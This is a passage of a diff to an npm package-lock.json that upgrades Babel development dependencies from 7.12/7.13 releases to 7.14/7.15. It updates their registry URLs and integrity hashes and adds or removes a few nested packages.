"sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/traverse": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", - "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/parser": "^7.13.15", - "@babel/types": "^7.13.14", + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", "debug": "^4.1.0", "globals": "^11.1.0" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true } } }, "@babel/helpers": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.13.10.tgz", - "integrity": "sha512-4VO883+MWPDUVRF3PhiLBUFHoX/bsLTGFpFK/HqvvfBZz2D57u9XzPVNFVBTc0PW/CWR9BXTOKt8NF4DInUHcQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.15.4.tgz", + "integrity": "sha512-V45u6dqEJ3w2rlryYYXf6i9rQ5YMNu4FLS6ngs8ikblhu2VdR1AqAd6aJjBzmf2Qzh6KOLqKHxEN9+TFbAkAVQ==", "dev": true, "requires": { - "@babel/template": "^7.12.13", - "@babel/traverse": "^7.13.0", - "@babel/types": "^7.13.0" + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/generator": { - "version": "7.13.9", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", - "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", "dev": true, "requires": { - "@babel/types": "^7.13.0", + "@babel/types": "^7.15.6", "jsesc": "^2.5.1", "source-map": "^0.5.0" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/traverse": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", - "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/parser": "^7.13.15", - "@babel/types": "^7.13.14", + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", "debug": "^4.1.0", "globals": "^11.1.0" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true } } }, @@ -1508,149 +1309,172 @@ "dev": true }, "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { - "version": "7.13.12", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz", - "integrity": "sha512-d0u3zWKcoZf379fOeJdr1a5WPDny4aOFZ6hlfKivgK0LY7ZxNfoaHL2fWwdGtHyVvra38FC+HVYkO+byfSA8AQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.15.4.tgz", + "integrity": "sha512-eBnpsl9tlhPhpI10kU06JHnrYXwg3+V6CaP2idsCXNef0aeslpqyITXQ74Vfk5uHgY7IG7XP0yIH8b42KSzHog==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1", - "@babel/plugin-proposal-optional-chaining": "^7.13.12" + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.15.4", + "@babel/plugin-proposal-optional-chaining": "^7.14.5" } }, "@babel/plugin-proposal-async-generator-functions": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.13.15.tgz", - "integrity": "sha512-VapibkWzFeoa6ubXy/NgV5U2U4MVnUlvnx6wo1XhlsaTrLYWE0UFpDQsVrmn22q5CzeloqJ8gEMHSKxuee6ZdA==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.15.8.tgz", + "integrity": "sha512-2Z5F2R2ibINTc63mY7FLqGfEbmofrHU9FitJW1Q7aPaKFhiPvSq6QEt/BoWN5oME3GVyjcRuNNSRbb9LC0CSWA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-remap-async-to-generator": "^7.13.0", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-remap-async-to-generator": "^7.15.4", "@babel/plugin-syntax-async-generators": "^7.8.4" } }, "@babel/plugin-proposal-class-properties": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.13.0.tgz", - "integrity": "sha512-KnTDjFNC1g+45ka0myZNvSBFLhNCLN+GeGYLDEA8Oq7MZ6yMgfLoIRh86GRT0FjtJhZw8JyUskP9uvj5pHM9Zg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.14.5.tgz", + "integrity": "sha512-q/PLpv5Ko4dVc1LYMpCY7RVAAO4uk55qPwrIuJ5QJ8c6cVuAmhu7I/49JOppXL6gXf7ZHzpRVEUZdYoPLM04Gg==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.13.0", - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-create-class-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-proposal-class-static-block": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.15.4.tgz", + "integrity": "sha512-M682XWrrLNk3chXCjoPUQWOyYsB93B9z3mRyjtqqYJWDf2mfCdIYgDrA11cgNVhAQieaq6F2fn2f3wI0U4aTjA==", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" } }, "@babel/plugin-proposal-dynamic-import": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.13.8.tgz", - "integrity": "sha512-ONWKj0H6+wIRCkZi9zSbZtE/r73uOhMVHh256ys0UzfM7I3d4n+spZNWjOnJv2gzopumP2Wxi186vI8N0Y2JyQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.14.5.tgz", + "integrity": "sha512-ExjiNYc3HDN5PXJx+bwC50GIx/KKanX2HiggnIUAYedbARdImiCU4RhhHfdf0Kd7JNXGpsBBBCOm+bBVy3Gb0g==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3" } }, "@babel/plugin-proposal-export-namespace-from": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.12.13.tgz", - "integrity": "sha512-INAgtFo4OnLN3Y/j0VwAgw3HDXcDtX+C/erMvWzuV9v71r7urb6iyMXu7eM9IgLr1ElLlOkaHjJ0SbCmdOQ3Iw==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.14.5.tgz", + "integrity": "sha512-g5POA32bXPMmSBu5Dx/iZGLGnKmKPc5AiY7qfZgurzrCYgIztDlHFbznSNCoQuv57YQLnQfaDi7dxCtLDIdXdA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-export-namespace-from": "^7.8.3" } }, "@babel/plugin-proposal-json-strings": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.13.8.tgz", - "integrity": "sha512-w4zOPKUFPX1mgvTmL/fcEqy34hrQ1CRcGxdphBc6snDnnqJ47EZDIyop6IwXzAC8G916hsIuXB2ZMBCExC5k7Q==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.14.5.tgz", + "integrity": "sha512-NSq2fczJYKVRIsUJyNxrVUMhB27zb7N7pOFGQOhBKJrChbGcgEAqyZrmZswkPk18VMurEeJAaICbfm57vUeTbQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-json-strings": "^7.8.3" } }, "@babel/plugin-proposal-logical-assignment-operators": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.13.8.tgz", - "integrity": "sha512-aul6znYB4N4HGweImqKn59Su9RS8lbUIqxtXTOcAGtNIDczoEFv+l1EhmX8rUBp3G1jMjKJm8m0jXVp63ZpS4A==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.14.5.tgz", + "integrity": "sha512-YGn2AvZAo9TwyhlLvCCWxD90Xq8xJ4aSgaX3G5D/8DW94L8aaT+dS5cSP+Z06+rCJERGSr9GxMBZ601xoc2taw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" } }, "@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.13.8.tgz", - "integrity": "sha512-iePlDPBn//UhxExyS9KyeYU7RM9WScAG+D3Hhno0PLJebAEpDZMocbDe64eqynhNAnwz/vZoL/q/QB2T1OH39A==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.14.5.tgz", + "integrity": "sha512-gun/SOnMqjSb98Nkaq2rTKMwervfdAoz6NphdY0vTfuzMfryj+tDGb2n6UkDKwez+Y8PZDhE3D143v6Gepp4Hg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" } }, "@babel/plugin-proposal-numeric-separator": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.12.13.tgz", - "integrity": "sha512-O1jFia9R8BUCl3ZGB7eitaAPu62TXJRHn7rh+ojNERCFyqRwJMTmhz+tJ+k0CwI6CLjX/ee4qW74FSqlq9I35w==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.14.5.tgz", + "integrity": "sha512-yiclALKe0vyZRZE0pS6RXgjUOt87GWv6FYa5zqj15PvhOGFO69R5DusPlgK/1K5dVnCtegTiWu9UaBSrLLJJBg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-numeric-separator": "^7.10.4" } }, "@babel/plugin-proposal-object-rest-spread": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.13.8.tgz", - "integrity": "sha512-DhB2EuB1Ih7S3/IRX5AFVgZ16k3EzfRbq97CxAVI1KSYcW+lexV8VZb7G7L8zuPVSdQMRn0kiBpf/Yzu9ZKH0g==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.15.6.tgz", + "integrity": "sha512-qtOHo7A1Vt+O23qEAX+GdBpqaIuD3i9VRrWgCJeq7WO6H2d14EK3q11urj5Te2MAeK97nMiIdRpwd/ST4JFbNg==", "dev": true, "requires": { - "@babel/compat-data": "^7.13.8", - "@babel/helper-compilation-targets": "^7.13.8", - "@babel/helper-plugin-utils": "^7.13.0", + "@babel/compat-data": "^7.15.0", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-transform-parameters": "^7.13.0" + "@babel/plugin-transform-parameters": "^7.15.4" } }, "@babel/plugin-proposal-optional-catch-binding": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.13.8.tgz", - "integrity": "sha512-0wS/4DUF1CuTmGo+NiaHfHcVSeSLj5S3e6RivPTg/2k3wOv3jO35tZ6/ZWsQhQMvdgI7CwphjQa/ccarLymHVA==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.14.5.tgz", + "integrity": "sha512-3Oyiixm0ur7bzO5ybNcZFlmVsygSIQgdOa7cTfOYCMY+wEPAYhZAJxi3mixKFCTCKUhQXuCTtQ1MzrpL3WT8ZQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-plugin-utils": "^7.14.5", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" } }, "@babel/plugin-proposal-optional-chaining": { - "version": "7.13.12", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.13.12.tgz", - "integrity": "sha512-fcEdKOkIB7Tf4IxrgEVeFC4zeJSTr78no9wTdBuZZbqF64kzllU0ybo2zrzm7gUQfxGhBgq4E39oRs8Zx/RMYQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.14.5.tgz", + "integrity": "sha512-ycz+VOzo2UbWNI1rQXxIuMOzrDdHGrI23fRiz/Si2R4kv2XZQ1BK8ccdHwehMKBlcH/joGW/tzrUmo67gbJHlQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.14.5", "@babel/plugin-syntax-optional-chaining": "^7.8.3" } }, "@babel/plugin-proposal-private-methods": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.13.0.tgz", - "integrity": "sha512-MXyyKQd9inhx1kDYPkFRVOBXQ20ES8Pto3T7UZ92xj2mY0EVD8oAVzeyYuVfy/mxAdTSIayOvg+aVzcHV2bn6Q==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.14.5.tgz", + "integrity": "sha512-838DkdUA1u+QTCplatfq4B7+1lnDa/+QMI89x5WZHBcnNv+47N8QEj2k9I2MUU9xIv8XJ4XvPCviM/Dj7Uwt9g==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.13.0", - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-create-class-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-proposal-private-property-in-object": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.15.4.tgz", + "integrity": "sha512-X0UTixkLf0PCCffxgu5/1RQyGGbgZuKoI+vXP4iSbJSYwPb7hu06omsFGBvQ9lJEvwgrxHdS8B5nbfcd8GyUNA==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-create-class-features-plugin": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" } }, "@babel/plugin-proposal-unicode-property-regex": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.12.13.tgz", - "integrity": "sha512-XyJmZidNfofEkqFV5VC/bLabGmO5QzenPO/YOfGuEbgU+2sSwMmio3YLb4WtBgcmmdwZHyVyv8on77IUjQ5Gvg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.14.5.tgz", + "integrity": "sha512-6axIeOU5LnY471KenAB9vI8I5j7NQ2d652hIYwVyRfgaZT5UpiqFKCuVXCDMSrU+3VFafnu2c5m3lrWIlr6A5Q==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.12.13", - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-create-regexp-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-syntax-async-generators": { @@ -1671,6 +1495,15 @@ "@babel/helper-plugin-utils": 